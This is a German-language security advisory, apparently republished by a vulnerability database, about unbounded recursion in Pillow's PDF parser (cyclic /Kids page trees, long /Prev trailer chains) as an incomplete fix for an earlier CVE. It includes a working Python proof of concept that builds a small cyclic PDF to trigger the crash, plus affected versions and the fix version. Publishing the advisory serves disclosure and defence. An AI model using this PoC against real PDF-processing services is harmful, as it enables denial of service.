Pillow: Unbegrenzte Rekursion beim Parsen eines PDF-Seitenbaums oder einer Trailer-Kette (unvollständiger Fix für CVE-2026-42310)
Zusammenfassung
Wenn eine Anwendung mit Image.save(..., format="PDF", append=True) an eine bestehende PDF-Datei anhängt, parst Pillow diese Datei mit PdfParser. Zwei rekursive Parser besitzen keine wirksame Begrenzung. linearize_page_tree folgt /Kids ohne eine Menge bereits besuchter Elemente (Visited-Set) oder ein Tiefenlimit, sodass ein zyklischer oder duplizierter Seitenbaum endlos rekursiert. read_prev_trailer weist lediglich einen exakt wiederholten /Prev-Offset ab, weshalb eine lange Kette eindeutiger Offsets dennoch rekursiert. Der für CVE-2026-42310 hinzugefügte Schutz gegen Trailer-Schleifen deckt keinen dieser Fälle ab.
Details
linearize_page_tree rekursiert auf /Kids ohne Zyklus- oder Tiefenprüfung:
src/PIL/PdfParser.py:1078-1092
read_prev_trailer fängt nur einen wiederholten Offset ab:
src/PIL/PdfParser.py:697-720(die Überprüfung vonprocessed_offsetsbei:714-718stellt den Fix für CVE-2026-42310 dar; eine Kette eindeutiger Offsets umgeht diese)
PoC
from PIL import PdfParser
# A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2).
objs = {
1: b"<< /Type /Catalog /Pages 2 0 R >>",
2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>",
}
buf = bytearray(b"%PDF-1.4\n")
off = {}
for oid in (1, 2, 3):
off[oid] = len(buf)
buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n"
xref = len(buf)
buf += b"xref\n0 4\n0000000000 65535 f \n"
buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3))
buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref
open("poc.pdf", "wb").write(buf)
PdfParser.PdfParser("poc.pdf", mode="r+b") # append=True parses the existing file the same way
Ausführung:
$ python 11_poc.py
RecursionError: maximum recursion depth exceeded
Die 315 Byte große Datei löst die Rekursion beim Parsen aus. Ein duplizierter (nicht zyklischer) /Kids-Baum erzeugt stattdessen einen überproportionalen (super-linearen) CPU- und Speicheraufwand, und eine lange Kette mit eindeutigen /Prev-Offsets löst die Rekursion auf Trailer-Seite aus.
Auswirkungen
Ein Dienst, der von Benutzern bereitgestellte PDF-Dateien erweitert (z. B. eine Stempel- oder Wasserzeichen-Pipeline), kann in eine unbehandelte Rekursion oder eine hohe CPU- und Speicherauslastung getrieben werden, noch bevor ein Bild geschrieben wird. Dies ist ein Follow-up zu CVE-2026-42310. Da die Richtlinien von Pillow davon abraten, einfache Python-Ausnahmen als Denial-of-Service einzustufen, steht der Fall des zyklischen Baums im Vordergrund, da dieser CPU und Speicher beansprucht, anstatt nur RecursionError auszulösen. Die Behebung besteht aus einer Menge besuchter Knoten sowie einem Tiefenlimit in beiden Parsern.
Was zu tun ist
Aktualisieren Sie Pillow auf Version 13.0.0 oder höher.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | pillow | >= 5.1.0, < 13.0.0 | 13.0.0 |
Verweise
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-p4wg-p73j-c528
- https://nvd.nist.gov/vuln/detail/CVE-2026-112895
- https://github.com/python-pillow/Pillow/commit/e2ae7eacad6de68c37eb28b633a97bebacf2c5bf
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0
- CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N- Schwäche (CWE)
CWE-674- Plattform
- Python (PyPI)
- Paket
pillow- Veröffentlicht
- 20.10.2026
- Aktualisiert
- 20.10.2026 23:38
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-p4wg-p73j-c528 - CC BY 4.0
Schwachstellenhistorie: pillow
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 81
- Erste → letzte
- 04.2014 10.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 1
Verteilung nach Schweregrad
- Kritisch 10
- Hoch 53
- Mittel 16
- Niedrig 1
- Nicht bewertet 1
Veröffentlichungen pro Jahr
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 10
- 2021: 20
- 2022: 8
- 2023: 3
- 2024: 2
- 2025: 1
- 2026: 23
früher: 12
-
Pillow: Unbegrenzte Rekursion beim Parsen eines PDF-Seitenbaums oder einer Trailer-Kette (unvollständiger Fix für CVE-2026-42310) dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.